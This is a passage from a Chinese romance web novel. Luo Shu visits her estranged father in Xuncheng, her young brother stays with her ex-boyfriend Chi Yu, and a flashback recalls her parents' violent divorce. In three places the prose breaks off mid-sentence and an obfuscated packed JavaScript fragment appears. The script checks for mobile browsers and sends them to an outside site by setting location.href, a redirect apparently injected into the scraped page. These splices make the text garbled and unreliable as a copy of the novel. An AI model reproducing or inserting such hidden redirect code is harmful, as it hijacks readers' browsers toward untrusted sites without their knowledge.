洛姝敷衍他：“我考虑一下。” 姐姐通常在说这句话的时候就是答应，谢雨杉心想，姐姐的性格也太……拧巴？是叫这个吧，他从电视上看到的。 “那我进去洗澡喽。” 门被关上，很快传来他唱歌的声音：“死了——都要爱——” “……”洛姝扶额。 * 次日下午，洛姝带着谢雨杉去做陶艺。 她半个月前就约了这家陶艺馆，里面几乎都是大人带着小朋友来。 谢雨杉的社交能力很强，只一个下午就收获了老板娘以及店员们的一众好感。到傍晚时，他送给他们自己在店里让洛姝拍的照片，然后才离开。 拉着弟弟走出巷口，洛姝才说：“谢雨杉，你这个出门就要交朋友还要给人塞自己自拍的习惯真得改改。” 小朋友歪着头，不理解：“为什么呀？” 洛姝笑话他：“等以后你长大了，有你后悔的时候。” 谢雨杉不服气地哼了声：“才不会呢。” “那就等着瞧呗。”洛姝揉了揉他银色的短发，中午他们简单吃了点，这会儿都有点饿了，“晚上想吃什么？” “想吃……”手机铃声打断了谢雨杉的话。 洛姝看了眼来电，是她爸爸洛亦祥打来的。 她接通，没立刻说话。 洛亦祥：“洛洛，爸爸看见你朋友圈，是去粱城玩了吗？” “嗯。” “咱们家原来那个别墅，这么多年也没人再去住，爸爸打算给卖了。粱城离浔城不算太远，你这两天有空的话，回来一趟吧。你之前的东西我没让人动过，你看看有没有什么要收拾带走的。” 洛姝自从小学毕业后就被洛亦祥送去了池家，后来高二，她搬出去租了房子，那套房子她一次都没回去过，但儿时的一切东西都存放在里面，她没带走过。 天色已暗，出了店才感觉到扑面而来的冷气，洛姝帮谢雨杉戴好帽子和手套，目光落在各个店铺上。 谢雨杉扯了扯她的衣角，指着一家面馆。 “想吃面？” “嗯嗯！” 洛姝带他过去，对电话那头的洛亦祥说：“好，我知道了。” “明天你有空回来吗，爸爸让刘叔去接你吧。刘叔你还记得吗，这几天他还念叨你呢。” 似乎是听见了一大一小的谈话声，洛亦祥赶忙说：“这个点你还没吃饭是不是，哎呦都怪爸爸——” “不用这么麻烦，我自己回去。”洛姝拉着谢雨杉进了面馆，不等洛亦祥继续说下去，她提前终止话题：“那就先这么说，我还有事，先挂了。” 面馆不大，但装修的很温馨，目前只有他们两个食客，老板热情地介绍身后张贴的菜单，“看看要吃点什么？” 谢雨杉要了碗小馄饨，洛姝不知道吃什么，也点了份馄饨，另外给他点了份小酥肉和蛋糕卷。 “是洛叔叔吗？”谢雨杉从餐柜里拿出两个勺子，递给洛姝一个。 洛姝擦干净递给他：“这你都知道。” 小孩子童言无忌：“因为姐姐每次接到他的电话都不太高兴啊。” 洛姝单手撑着脸看他：“他也没有给我打几次电话，你倒是知道得很清楚。” “我聪明嘛。” 老板动作麻利，两碗馄饨很快上桌。 洛姝给他拿了个小碗，吃到一半，问：“明天姐姐要回浔城一趟。你是陪我一起去，还是留在这里帮慕挽姐姐照顾猫咪？” 谢雨杉吃干净碗里的馄饨，优雅地擦了擦嘴巴，才说：“姐姐，我想留在这里跟着池煜哥哥。” 洛姝没说不可以：“慕挽姐姐那里有很多猫咪，你不是很喜欢吗？” 谢雨杉振振有词：“望月叔叔也是我的朋友，他还没收到我的礼物呢。” 洛姝没答应：“送你去慕挽姐姐那里吧，她很喜欢你，见到你一定很开心。” “那好吧，那等你回来我们去找池煜哥哥玩吧。” “就这么想跟他玩？” 谢雨杉理直气壮：“因为见到他就能见到望月叔叔，就能把我精心挑选的礼物送出去。” 洛姝扯了扯唇角：“行吧。” 谢雨杉伸出小指：“拉勾。” * 隔天，洛姝坐上了回浔城的高铁。 刘长东一早就在高铁站出口等着，点开洛亦祥发给他的洛姝照片，眼神掠过一众年轻姑娘，伸长了脖子。 洛亦祥给他转发的消息里有洛姝下高铁的时间，这会儿过去了五分钟，他没看见人。 洛姝出了站口，绕过一众跟自己搭话的司机，本想用手机喊个车，在看见一直伸长脖子的刘长东时停下来脚步。 洛姝走到他身边：“刘叔。” “诶，是洛洛吗？”刘长东站直了身子，面前的姑娘个子高挑，黑顺的长发散在肩头，化着淡妆，从小就漂亮的五官更加精致。 “洛洛真是长大了，刘叔差点没认出来。”刘长东帮她把小行李箱拿到车后备箱：“十几年过去，我也真的是老了。” “您看起来还是很年轻。”洛姝上车，系好安全带。 “已经长白发咯！”刘长东启动车子，从后视镜看她一眼，笑着说：“你爸发给我的那张照片，你抱着你妈妈那个孩子，我还是头一次见，长得真是漂亮。怎么没见你带来？” 洛姝看着窗外，心不在焉地说：“他认生。” 刘长东笑了笑，转移话题：“年前我看见了小煜，这小子真是跟以前不太一样，活泼了很多！他过来跟我打招呼我才认出来。听你蒋阿姨说小煜在粱城呢，你俩是在一块呢吧。” 洛姝不愿意多说：“没有，只是刚好碰到。我睡会啊刘叔，这么多年还是有点晕车。” 说完，她就靠着车窗闭上了眼睛。 * 下午三点二十分，木丸糖果店正在营业中。 生意惨淡，不过赵慕挽求之不得，正靠在躺椅上晒着太阳睡觉。 等到她一觉睡醒的时候，才发现谢雨杉蹲在桌边看着三花猫睡觉，这期间他没有吵闹，一直都很安静。 银色的短发乖顺地贴着头皮，白色的卫衣上还有两只耳朵，小小的人蹲在地上，看起来像一只萨摩耶。 “雨杉。” 谢雨杉回头，用气音说：“姐姐，你醒啦。” 赵慕挽招手让他过来：“无不无聊，姐姐带你出去玩吧。” “看猫猫睡觉，不无聊的。”谢雨杉蹲在地上走到她旁边，小脸因为被暖气吹得红彤彤的，睁着一双漂亮的茶色眼睛：“我们要是出去玩的话，今天不就赚不到钱了吗？” “我们不出去玩也赚不到钱啊！”赵慕挽用力揉了揉他的头发，这孩子太招人喜欢了，没忍住在他脸上亲了一口：“没事，你姐姐会养我的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375718|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢雨杉用两只手扒拉了自己的头发，戴好帽子，嘟囔：“诺诺姐姐也说过同样的话。幸好姐姐不要养我，要不然得多辛苦呀。” 赵慕挽捏捏他红扑扑的小脸：“那你长大以后要加倍对你姐姐好啊。” 谢雨杉捏着拳头：“我会的！” “诶，怎么有个小孩儿。”有人还没进店就发出一声疑问，紧接着门被推开，男人长着一张看起来“很会玩”的脸，嚼着口香糖，迈着长腿进店，定睛一瞧：“哟，小雨杉也在这呢。” 他四下看了眼，没看见洛姝，随口问起：“你妈——” 昨晚洛姝拜托赵慕挽帮忙照看一下弟弟，顺便把怎么见到的池煜，又是怎么被池煜和苏望月误会的事都告诉了赵慕挽。 听苏望月这说话的口气，还在误会当中。 赵慕挽一巴掌拍他身上，跳起来捂住他的嘴：“什么素质啊，干嘛说脏话！” 苏望月皱起眉头，他没法张口说话，只好缓缓抬起手指指着自己：“……？” 赵慕挽松开手的时候，飞快在苏望月耳边说了句：“这是她弟弟，刚刚你想说什么都咽回肚子里。” 什么？她弟弟？！ 不是喊妈妈的吗，难道他一直都没酒醒？ 所以那天中午在久膳坊，他对洛姝说的那些话算什么？ 谢雨杉没看懂他们在做什么，但是看见苏望月，他从自己背着的包里拿出照片递给他：“望月叔叔，这是我送你的礼物，不客气。” 苏望月翻看手里的照片，压着内心的震惊：“谢谢，你有想要的礼物吗，哥哥送你。” 谢雨杉摸着自己手边的小猫咪，想了想才说：“随便什么都可以吗？” 苏望月：“都可以。” 谢雨杉跑过去收拾自己的小背包：“你可以带我去找池煜哥哥吗？” “那必须可以的啊。” 苏望月效率很高，半个小时之后，谢雨杉已经被送到了池煜家楼下。 赵慕挽一路上始终没吭声，一直到下了车，谢雨杉跑到前面，她才说：“我答应好帮洛洛照顾弟弟，你这么给人送她前男友家算怎么一回事？” 苏望月打了个响指：“我给你出个主意。你就说我去外地度假，你实在忘不掉我于是选择勇敢追爱，所以孩子只能拜托池煜照顾了。” 赵慕挽看着前边不远处的小身影，没说话。 苏望月抱臂，“你难道不觉得他俩是命中注定的缘分？这么多年没联系怎么一回来就遇到了，不是缘分是什么？” “土不土啊你，还缘分。”赵慕挽嘴上这么说，心里却很难不认同。 突然想到了高中时候，某一次看见了洛姝和池煜。他们分别穿着不同年级颜色的校服走在学校里。 洛姝那时候扎着高马尾，怀里抱着一摞试卷，一改往日里的活泼，在面对池煜的时候变得有些腼腆，却不多，笑容一直挂在脸上，露出浅浅的梨涡。 在她旁边的池煜一直话都很少，不过却很认真地低下头听她说话。 稀碎的阳光落在他俩身后，拉出长长的影子。 那时候赵慕挽就觉得两个人很般配了。 只是后来不知什么原因分手了，直到现在洛姝也没具体提过是怎么个情况。说到底，在一起或是分开，都是他俩自己的事情，别人不能干涉。 赵慕挽回过神来，不为所动：“这不是我们两个能掺合的事。” 苏望月用食指和中指朝自己眼睛比了比：“明眼人都能看出来他俩还有戏好吗。” 他推着赵慕挽往前走：“我知道你也想看有情人终成眷属，就按我说的做。走走走，快跟上，马上弟弟要跟丢了。” 赵慕挽拿出手机发消息，没好气地说：“咱俩最好祈祷不是火上浇油！” 苏望月诶了声：“瞧你这话说的，咱叫顺水推舟。” 8. Chapter 08 “洛洛，到了。” 刘长东的声音从驾驶位传来。 洛姝睁开眼睛，反应了两秒钟后下车。 小区是新中式园林风，有山有水，一步一个景致，挺清幽的，就是这个季节略显萧条。 刘长东从后备箱帮她拿行李：“你爸在家，让我给你送这里来。他也是前两年才搬到这儿，你宋阿姨喜欢这里，不过真别说，这里环境是挺不错。” 洛姝静静听完，没发表任何看法，捏了捏有些发酸的脖子，只是说：“刘叔，我晚上不住在这里。箱子暂时先放车里吧。” 刘长东愣了下，又把箱子放了回去：“诶，行。到时候你要去哪我送你。” “不用，我打车去就可以了。” 刘长东故意板起脸：“你这孩子，越长大怎么还生分了？我送你去，别客气了。” 洛姝笑道：“那行，麻烦您了。” 刘长东轻车熟路带她进庭院，洛亦祥一早就等着了，看见女儿，笑着迎出来：“刚刚我还跟你宋阿姨提到你呢。穿这么少，冷不冷？” “不冷。” “老刘，干嘛去？”洛亦祥回头喊刘长东：“进来坐坐。” 刘长东看了眼时间，笑呵呵的：“瞧你看见闺女高兴的，把儿子都给忘了。今天周六，廷炎马上下辅导班，我不得给他接回来啊！” “哎呦，忘了忘了。我这是看见闺女给高兴忘了！” 洛亦祥一拍脑门：“行你去吧，他回家看见他姐一准高兴。” “那你们先聊着，我去接他。” 洛亦祥带着洛姝进家门，“你宋阿姨听说你要来，现在张罗着晚饭呢。” 话音刚落下，宋依冉也走到了玄关，她穿着围裙，像是从厨房出来的：“洛洛回来了，坐车累了吧，快坐下歇歇。” 跟在厨房打下手的玲姐也出来了，看见洛姝很惊喜：“洛洛都长这么大了，还记得我吗？” “玲姐。”洛姝愣了一下，没想到以前在家里给她做饭的阿姨会出现在这里。 “洛洛有点不上相呀。照片上都够好看了，结果我这看见本人，漂亮的跟明星似的。”宋依冉亲昵地揽着洛姝到沙发坐下，端起桌上切好的水果：“回自己家来，想吃什么只管伸手拿，别拘束。” “谢谢。”盛情难却，洛姝叉了块火龙果吃起来。 宋依冉笑着问：“洛洛有没有考虑来浔城发展？” “我在首都挺好的。” “确实，首都嘛，机会更多。”宋依冉笑着拍拍她的肩膀，又朝沙发上的洛亦祥看了眼：“那你们父女俩先聊着，我去跟玲姐到厨房大展身手去。洛洛今晚可要好好尝尝我的手艺，好吃着呢。” 这热情让洛姝有些招架不住，她笑了笑，应下来。 宋依冉这边一走，洛亦祥就问：“爸爸看你朋友圈，那孩子也带去粱城了，怎么不见你把他也带来？” 洛亦祥和谢玫离婚前就势如水火，离婚后更是拉出了老死不相往来的架势。洛姝的印象里，洛亦祥提到谢玫也从来没有好话。 自从谢玫离世后，一直对前妻颇有怨怼的洛亦祥突然就释怀了，人都离开了还较什么劲呢？过往的那些已经成为过去，再掀不起什么风与浪。 “他认生。”洛姝还是这句话。 洛亦祥不提这个了，又说：“小煜这几年都在粱城发展，你有没有让他带着你玩一圈？” 他又不是导游，洛姝想，怎么谁看见她都要提到池煜呢？ 她摇头，“没有，在一起吃了顿饭。” 洛亦祥：“我听你蒋姨说他在粱城开了个酒吧，她一提到这个就火大。说儿子不务正业，偏偏又管不住，头疼着呢。小煜这孩子真有点可惜了，他当年也是考进了双一流的985院校，以为他出来会有一番作为。” 洛姝忍不住反驳：“一没偷二没抢，怎么就不务正业了。” 洛亦祥噎了一下：“说得也是。爸爸还不知道你现在在做什么呢，之前你说在教小孩子练琴，现在呢又换工作了吗？” “换了。” 她不会一直做同一份工作，上半年她去给人当家教辅导高中数学，下半年又去当钢琴陪练，后来看到一家猫咖老板要把店转让，她想都没想就跟梁诺诺把店盘下来了。 这几天她带着弟弟来粱城玩，店里的一切都是梁诺诺在打点。 “还是得稳定点。” 洛亦祥当她是剃头挑子一头热，对什么都是三心二意，提过几次让她回自己家的公司来，被她拒绝了。 洛姝没说话。 父女俩说话的间隙，玄关处传来动静，紧接着，洛姝听见处于变声期的男声：“爸，妈，我回来了。” 似乎是注意到沙发上的洛姝，他歪着头：“是洛洛姐对吗，路上刘叔跟我说了。” 洛亦祥朝他招招手：“快过来。” “哇塞，姐姐你好漂亮！”洛廷炎双手撑在沙发上，跟洛姝打完招呼回头看着刘长东：“刘叔，你果然我没骗我。” 洛亦祥板着脸，眼睛却是弯着的：“行了啊，别没大没小的。” 刘长东笑着打趣：“他啊，这一路上一直催我开快点，想见洛洛呢。” 洛廷炎嘿嘿笑了声，打开零食柜，回头问洛姝：“姐，你吃零食吗？” 客厅开着暖气，刘长东和洛亦祥坐在对面沙发上闲聊，洛姝觉得热，脱下羽绒服放在了一边，倒不是觉得这里拘谨，只是因为这里不是自己的家，多多少少还是有些不自在。 她摇头，“我不吃。” 洛廷炎抱着一堆零食出来放在茶几上，很自来熟地问：“姐，你现在在哪工作啊？” “首都。” 洛廷炎很好奇：“那么远啊。之前听老爸说你一直待在国外。国外很好玩吗，你的英语是不是说的特别好？” 洛姝笑了笑：“还好吧。毕竟不是母语，算不上说得很好。” 洛廷炎点点头，丢下一句“等我一下”，飞快上了楼，没过两分钟他又跑回来，拿着手机坐在洛姝旁边，“姐，咱们加个微信吧。” 洛姝第一次见到洛廷炎的时候，他大概三四岁左右，那远远的一面，没人注意到她。 而今这算是洛姝正式见到他的第一面，没想到他会这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375719|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么热情。 洛姝拿出手机，识别面部后点开微信：“可以啊。” 宋依冉并没有对她做过不好的事情，洛廷炎也没有，她讨厌的只有洛亦祥一个人而已，没必要殃及无辜人。 微信里有赵慕挽一小时前发来的消息，她先是找出二维码让赵廷炎扫码添加自己为好友，随后才点进去。 赵慕挽：洛洛，我跟你说个事你可别生我气。 赵慕挽：我想我还是忘不掉苏望月。 赵慕挽：我听说他去了国外，我一时冲动也买了机票，就是下午五点的航班。 赵慕挽：我想着你明天就回来了，所以把雨杉送去了池煜那儿。 赵慕挽：回聊，我去追我的幸福了［拳头］［拳头］ “……” 洛姝有些错愕地看了好几遍。 ……怎么就，这么突然。 那天在糖果店里提到苏望月的时候，赵慕挽不还是淡淡的吗，怎么突然转了性子又要追求自己幸福去了？ 消息是一小时前发来的，也就是说，那时候谢雨杉已经被送到池煜那里了。 洛姝不禁开始想，池煜现在在干什么？ 他对谢雨杉十分有耐心，谢雨杉又很喜欢和他相处，总是闹着要去见他。这会儿终于见到了人，应该很开心吧？ * “池煜哥哥，谢谢你请我喝奶茶。” 谢雨杉捧着怀里的奶茶高兴的恨不得当场流眼泪。 池煜目光落在他红扑扑的小脸上，笑着问：“平时姐姐不让你喝？” “是呀，她说小孩子不能多喝。” “确实该少喝。”池煜捏了捏他的脸，天黑的早，这会儿功夫天色渐暗，他问：“姐姐晚上都带你吃什么，今晚有没有想吃的？” 谢雨杉只是眨了眨眼睛：“我不挑食的。”他想了想，继续说：“池煜哥哥，你喜欢我姐姐，对不对？” “聪明。”池煜完全不藏着掖着。 “你怎么不问我怎么猜到的呀？” 这还用猜？ 全世界不都知道他池煜喜欢洛姝吗，也就她本人揣着明白装糊涂。 池煜不想打击小朋友的信心：“那你是怎么猜到的。” “当然是因为你每句话都离不开姐姐呀。爸爸也是每句话都离不开妈妈，他告诉我这叫喜欢，叫爱。所以我就猜到了。” 谢雨杉在地毯上坐下，“你现在有兴趣当我姐姐男朋友了吗？” 敢情这还记着那天晚上的事呢。 池煜也跟着坐在地毯上，就在他对面，两只手撑在身后，气定神闲：“一直都有兴趣啊。可是你姐姐没兴趣。” 谢雨杉抱紧手中的热奶茶：“哥哥，我会帮你的。” 池煜挑眉：“你想怎么帮？” “嗯……我没有想好。” “我想到一个主意。”池煜朝他招招手，让他把耳朵附过来。 谢雨杉认真听着，时不时点点头，猛吸一大口奶茶，一边嚼珍珠一边举起了拳头：“放心好了哥哥！” “你是我选给姐姐的男朋友，我一定会帮你的。” 9. Chapter 09 茫茫人生 晚上六点，宋依冉招呼客厅三人来吃饭。 洛姝慢走两步后停下，扭身从茶几上抽出一张纸巾掩住口鼻，打了个喷嚏。 “是不是穿太少有点冻着了？”洛亦祥把餐厅空调温度调高：“就算是年轻也不能不把身体当回事，知道吗？” “知道了。”洛姝揉了揉鼻子。 宋依冉热情地招呼洛姝过来坐下，给她夹菜，很快碗里就堆成了小山高：“快尝尝阿姨的手艺，不知道你爱吃些什么，就多做了些。” “谢谢阿姨，您不用这么客气，我自己来。” 一顿饭吃了将近一小时，等到洛姝放下筷子，宋依冉才说：“这个点天已经黑透了。来的时候带行李了吗，这趟回来要是没什么事，就在家多住两天吧。” 洛姝规矩地坐着，笑着说：“等会我搭刘叔的车回老房子，很多年没回去过，还挺惦记的。” “那边一个人都没有，自己一个人住怕不怕？”宋依冉面带忧色：“一个人在那多少会觉得孤单的，要不还是在家呆一晚吧。” 洛姝这一晚上一直都笑着，感觉脸都要僵了：“没事的阿姨。周边全是住户，怕倒是不怕。” 她记得自己小学快毕业的时候，父母离婚，那时候就没再见到谢玫了。 洛亦祥整日买醉，渐渐开始不回家，送她上学的司机和做饭的保姆以及打扫的阿姨只会在特定时间才会和她碰面，所以那时候她都一个人住在那个空空荡荡的别墅。 要说怕，早就不怕了。 洛亦祥没说什么，也不勉强洛姝：“反正那边隔三差五也有人去打扫，干净着呢，能住人。” 宋依冉这才松了口，送洛姝上车的时候还要了她微信：“到了的时候给阿姨发个消息。” 洛姝答应下来：“外边冷，您回去吧。” 半路上，她收到了池煜发来的微信消息，是一段三秒钟的语音。 她点开，传来了谢雨杉稚嫩的声音：“姐姐，我好想你呀，可以视频聊天吗？” 对话框里的“可以”两个字被她删除，她回了个语音：“可以。” 几乎是同一时间，视频请求发了过来。 接通后，视频中的谢雨杉露出一双茶色眼睛，银色的发丝占满整个屏幕，“嗨，姐姐，晚上好。我现在在池煜哥哥家里哦，你不要担心。不光我想你了，德芙也很想你。” 他想了想，又补充一句：“我们都很想你哦。” 话音刚落，视频中的金毛也伸过来脑袋，谢雨杉托着德芙的下巴，让它看屏幕，一人一狗就这么眼巴巴地盯着洛姝。 很萌。 洛姝对着手机挥了挥手：“德芙晚上好，Milo晚上好，跟哥哥吃过饭了吗？” “吃啦，吃了哥哥做的牛肉和鸡翅，可好吃了。”谢雨杉拿着手机晃了晃，神神秘秘地说：“姐姐，你猜猜看我们在干嘛？” “这我可猜不出来。” 谢雨杉举着手机对着池煜，“我们在拼图，大半都是哥哥拼的。” 池煜坐在地毯上，只穿着一件半高领的羊绒毛衣，袖子被撸起露出一截结实的小臂。他手肘撑在膝盖上，微扬起下颌，露出流畅的面部轮廓，神色很认真。 手里的拼图被他放在缺少的位置上，抬眼，看着手机摄像头，笑着问：“什么时候回来？我去接你。” 池煜长了双很乖巧的杏眼，但眼尾微微上挑又不显得那么乖，加上他那略高的眉骨和深邃的眼窝显得五官很有攻击性。 又加上他话少，看起来很像不服管教的桀骜少年，给人一种很不好相处的感觉。 可现在不一样。 池煜变得爱笑了很多，身上那股锋利感不知是不是因为年岁变迁而弱化，总之现在看起来要平易近人得多。 “明天回去。”她说。 “那到时候再联系。” 谢雨杉朝视频摆摆手：“姐姐，那我也要继续拼图了，提前跟你说晚安。” “好，晚安。” 电话刚挂断，刘长东便笑着说：“这孩子还挺活泼的。小煜这小子对小孩还挺有耐心。” 洛姝笑了笑，没搭腔。 “洛洛你发现没有，小煜这性格被你带的，越来越像你了。”刘长东冷不丁地冒出来这么一句。 洛姝有点没反应过来：“嗯？有吗。” “可不是嘛，你以前多调皮啊，活泼又爱笑。小煜这孩子打小性格就闷，你看现在变化多大，是不是？” 刘长东唏嘘起来：“倒是你，怎么反而没小时候活泼爱笑了呢？不过你们俩呀，一直都很互补呢。” * 半小时后洛姝回到了老房子。 确实如洛亦祥所说，房子很干净，只是因为长时间没有住人所以很冷清，没有一点儿人气。 洛姝把灯全打开，慢腾腾地上了二楼，推开自己的房间。房间里的摆设没变过，顶灯也仍旧是那一盏，却没有任何生活过的痕迹。 她在书桌旁坐下，上面摆放的课外读物和各种没有拆开过的用来收藏的笔记本，时至今日依旧被好好存放，薄薄的浮灰提醒她，很久没有欣赏过。 目光落在池煜送给她的书籍上，很多，起码有一半都是他俩一起出门逛书店的时候池煜送的，想来在他家里，自己送他的那些书也还在吧？ 她继而又拉开了抽屉，里面摆放了各种精美的信纸和明信片，用过的没用过的，自己买的或是朋友送的都放在里面。 随手拿起一张写满字迹的明信片，那时候的字迹尚且稚嫩，一笔一划都用着很大的力道，所以以前中指上鼓起薄薄的茧子，又因早就远离学生这个身份，茧子消了不少，却仍留下属于学生时代的印记。 那张明信片被放回原处，洛姝随手拿起一个信封，薄薄的外皮摸起来有字迹的凹凸，并不平滑。她拿出来，抽出那张信纸。 上面只写了简单的三个字—— 想见你 但似乎并没有写完，因为“你”字的最后一道笔画被长长地拖出来，像是受到了惊吓才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375720|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搁置。 心头猛地一跳，久远的记忆从脑中解开封印，洛姝想起来了，是她六年级写的。 那时候原本恩爱有加的父母整天争吵，她怕他们会走到离婚那一步，也不知道该对谁说出心里的惶恐，也怕和同学说起来会被笑话。 毕竟她引以为傲的家庭一向很和睦。 从小和自己一起长大的池煜和她关系一向要好。她想，如果自己告诉他，他一定会有办法的。 于是，她拿出来池煜以前送给自己的信纸，像写日记那样试图写出这段时间来的惊慌，可还没提笔写几个字就被谢玫和洛亦祥的争吵声惊动了。 洛姝把信纸折叠起来，吐出一口气，过去太久了，这些事情还记得这么清楚。 她站起来盯着房间各个角落都看了一遍，床上摆放的是她曾经喜欢的玩偶，四件套是她儿时最喜欢的那款现在看来已经太过于少女心，不符合她现在的审美。 她去了客厅，不由得想到那年谢玫和洛亦祥最后一次争吵就是在这里。 静坐了片刻，实在是坐不住了，这个家到最后已经千疮百孔毫无温馨可言，时至今日她也没法在这里安安心心住下去，哪怕只是一晚。 这别墅已经没有任何值得让她留恋了，留下也是毫无意义。 洛姝把灯全都关上，拖着行李箱出了门。夜深人静，寒风凛冽，她拢了拢围巾，呼出一口热气，在关上门的那一刻突然把门打开，又重新摁开客厅的灯，快步跑上二楼房间，把当年没写完的那张信纸连带着信封拿走，顺便翻开手机订了浔城的香梵酒店，打车走人。 推着行李箱到房间时，她扔掉包躺在床上发呆，或许是因为身在浔城的缘故，这个生她养她的城市保存了太多旧时的记忆，只要一踏入就如浪潮一般，把曾经那些好的坏的回忆都展现在眼前，想忘记都难。 不知道盯着顶灯看了多久，外套口袋被她的掌心温度捂热，她缓慢掏出掏出那封只有三个字的信封，又看了一遍。 盯着纸上稚嫩又刻板的认真字迹，最后那拖出来的长长一点似乎将她带回了十三年前，酒店不算柔软的床，恍惚间竟变成了她的卧室。 窗外是郁郁葱葱的树，偶尔有几声鸟叫，有胆大的鸟途径时会在窗子上停留片刻。 换做平时，洛姝会伸出手试图去摸一摸惊慌乱扑腾的鸟儿，可是她没心情，因为楼下的客厅再一次发生争吵。 她不由得想起了儿时最亲密的朋友，在提起笔，惊惶地写下第三个字的时候，争吵的内容正是她这段时间所想求证的。 于是她跑下了楼，试图阻止父母继续争吵，但洛亦祥朝她扔来了玻璃杯，“滚进去！” 这一声带着怒意的大吼，让险些进入梦乡的洛姝打了一个激灵，意识渐渐收拢，看清周围的一切，才发觉原来是睡着了，梦到了以前。 或许是太困，困得睁不开眼，意识再次混沌，大脑有些宕机，她捏着信纸举起手臂挡住了眼睛。 任由自己陷入那个不愿提及的曾经。 10. 01 小升初在即，洛姝的心思却不在学习上。 房间隔音效果不好，她听见谢玫开门的声音，紧接着就是洛亦祥气急败坏的怒吼，无非就是说这些年他养家多不容易，对待妻子女儿多么无微不至。可结果—— “我到底哪里对不起你，你要这么对我啊谢玫，啊？” 这些天，他总是会这么问。 质问没有得到妻子的回应，洛亦祥喝得醉醺醺，大着舌头指着谢玫：“你和那英国佬滚床上的时候想过我跟你女儿吗？说话啊，我他妈到底哪一点对不住你！” ——又来了。 洛姝身体不受控制地发抖，眼泪争先恐后涌出来。不知道从什么时候开始，原先恩爱有加的爸妈突然开始争吵，面目狰狞。 目光落在日历上圈着的日期，今天是她的生日，可是爸爸妈妈似乎早就将这件牢记于心的日子抛到脑后。 她无措地展开一张精致的信纸，这是池煜送她的，因为知道她喜欢收藏这些。 突然想起来，自从他去市一中读初中开始就少有见到他。 这样想着，洛姝抖着手在信纸内页写了几个字，还要继续往下写，泪水却争先恐后从眼眶中冒出来。她想不明白，妈妈为什么会做出这样的事情，让本该幸福的家庭一团糟。 手中那支中性笔被她折断，这些日子她总是在思考这个问题，最后得出的结论是，妈妈不爱爸爸，连带着也不爱她了。 突然“砰”一声巨响，听起来像是花瓶碎裂，耳朵短暂获得片刻安静后，洛姝听见谢玫疲惫的声音：“今天是洛洛生日，我不想跟你吵。” 啪，中性笔滚落在地，洛姝心脏狂跳。 外面发生的一切她听得一清二楚，前一阵总在想“妈妈是不是不爱我了”，此刻像是拨开了云雾。不爱的话怎么还记得她生日呢？ 刚擦干的泪又涌了出来，比以往每一天都要汹涌，她说不清什么滋味，只知道心里面那个结论此刻被推翻。 她一刻都等不及，打开了房门匆匆跑下楼，就看见半透明盒子里的蛋糕被洛亦祥狠狠摔在地上，奶油溅得到处都是。 剑拔弩张的客厅里弥漫着一股香甜的气息。 “你他妈少转移话题！” 洛亦祥额角的青筋暴起，对妻子冷淡态度更加暴怒，钳着她的下巴咬牙切齿：“你有脸和我吵吗？” 洛姝长了双和谢玫一模一样的眼睛，看见怯生生的她，就如同看见缩小版的谢玫。 洛亦祥几乎是咬牙切齿，随手抄起茶几上的杯子扔过去，吼道：“滚进去，不许出来！” 洛姝下意识躲开，杯子砰地一声砸在墙上，随后四分五裂。 洛亦祥从来都是将宝贝女儿捧在手心，别说打骂，一句重话都没说过。今天这样反常，洛姝吓得尖叫，腿一软跌坐在地上，反应过来刚刚发生了什么之后，委屈地嚎啕大哭。 谢玫这才有了反应，给了丈夫一个耳光，还觉不够，拿着靠枕狠狠砸过去，声嘶力竭大喊：“你这是做什么？她是我的命，你敢再动手试试！” 她抓着丈夫的头发用力扯，密集的巴掌落下后，终于愿意翻起了旧账：“你这样的败类怎么好意思活在这世上，怎么好意思来声讨我？！是你先对不起我的！陪你创业、陪你睡桥洞的人是我，在家里做家庭主妇十年如一日我没有任何怨言！你呢？脚踏两条船，两头欺瞒！骗了她还骗了我！你儿子比洛洛大了五岁！五岁啊……去年要不是她带着孩子来找我，这辈子我都要蒙在鼓里！” 谢玫说完，急促地大口喘气，紧接着搂紧洛姝开始哭，一边哭一边检查女儿有没有伤口。 确认女儿没有伤到分毫，她捂着洛姝的耳朵，哄她：“妈妈等会再去给你买个蛋糕庆祝，好吗？我们洛洛长大了一岁，个子也比去年高。” 洛姝不知道该哭还是该笑，还是该用什么表情来表达此刻复杂的情绪，她整个人都是懵的，脸上的泪痕还未干，此刻又添了几道。 她勉强理了理这段话的含量，迟钝了半晌才顿悟，原来这个家早就散了，曾经的和谐都是维系亲缘的假象。 亏她总是傻傻的自豪，引以为傲自己的家庭是多么的有爱温馨。 * 浔城的夏天刚开了个头，谢玫和洛亦祥这段长达十二年的婚姻到此为止。 